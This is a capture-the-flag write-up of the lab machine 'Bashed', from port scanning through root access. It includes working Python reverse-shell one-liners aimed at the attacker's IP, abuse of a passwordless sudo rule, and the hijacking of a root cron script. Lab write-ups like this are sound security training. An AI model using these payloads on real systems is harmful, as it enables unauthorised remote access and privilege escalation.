Skip to content

Bashed

Nmap scan

┌──(kali㉿kali)-[~]
└─$ sudo nmap --min-rate 1000 -p- 10.10.10.68
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-20 11:38 EST
Nmap scan report for 10.10.10.68
Host is up (0.052s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 17.34 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -p80 10.10.10.68
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-20 11:40 EST
Nmap scan report for 10.10.10.68
Host is up (0.053s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.05 seconds

Only port 80 open so let's check that website.

Port 80

Well the webpage looks like a blog and it only has one article speaking about a tool called phpbash. This tool provides a semi-interactive web shell to the machine and according to the author article, he developed it in the same server that is hosting the page.

The article contains an image that looks like reveals the location of the tool in the /uploads directory but it is not there. Since the author said that he developed it, I tried to check something like a /dev directory and it worked! This directory not only has directory listing enabled, it contains the phpbash utility.

Getting a reverse shell

After some try and error, I was able to get a python reverse shell using:

python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.10.14.40",8000));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

Now we can just upgrade it to a full tty. The user flag is under /home/arrexel/user.txt.

Privilege escalation

As www-data

Once in the machine, I tried some basic enumeration commands and this is interesting:

www-data@bashed:/home/arrexel$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

The user www-data can execute commands as scriptmanager without password so we can just execute bash as that user to impersonate it:

www-data@bashed:/home/arrexel$ sudo -u scriptmanager bash -p
scriptmanager@bashed:/home/arrexel$

As scriptmanager

I decided to look for all the files owned by this user with:

scriptmanager@bashed:/scripts$ find / -user scriptmanager 2> /dev/null 
/scripts
/scripts/test.py
/home/scriptmanager
/home/scriptmanager/.profile
/home/scriptmanager/.bashrc
/home/scriptmanager/.nano
/home/scriptmanager/.bash_history
/home/scriptmanager/.bash_logout
/proc/10983
/proc/10983/task
...REDACTED...

The scripts folder looks promising, it contains a Python script and also a file owned by root called test.txt. Checking the script looks like that txt file is the output of the code.

Looks like there is a cron job executing the script as root because the file creation date is updated every minute or so. Since we can change the script we could get a reverse shell as the root user changing the script content to this:

a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.10.14.40",8080));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")

Now it is time to spin up a listener and wait...

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 8080
listening on [any] 8080 ...
connect to [10.10.14.40] from (UNKNOWN) [10.10.10.68] 42738
# id
id
uid=0(root) gid=0(root) groups=0(root)

And we got a root shell! The flag is under /root/root.txt